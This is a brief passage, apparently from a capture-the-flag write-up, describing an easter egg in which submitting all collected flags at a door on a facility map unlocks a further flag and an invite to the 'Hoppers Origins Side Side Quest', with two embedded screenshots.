<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FsgV2mDWqYRnbK48F8DG9%2Fgrafik.png?alt=media&#x26;token=268e6d39-7367-4b66-b985-f4e944dda448" alt=""><figcaption></figcaption></figure>

## Easter Egg

After retrieving all flags a door appears on the facility map. If we click it we are tasked to provide each flag captured. If we do so we'll receive another flag and an invite page for the Hoppers Origins Side Side Quest.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FsLaVIL9FCG9EbvosBo2R%2Fgrafik.png?alt=media&#x26;token=97988fbd-ced2-4f77-b495-9c565b5d646a" alt=""><figcaption></figcaption></figure>
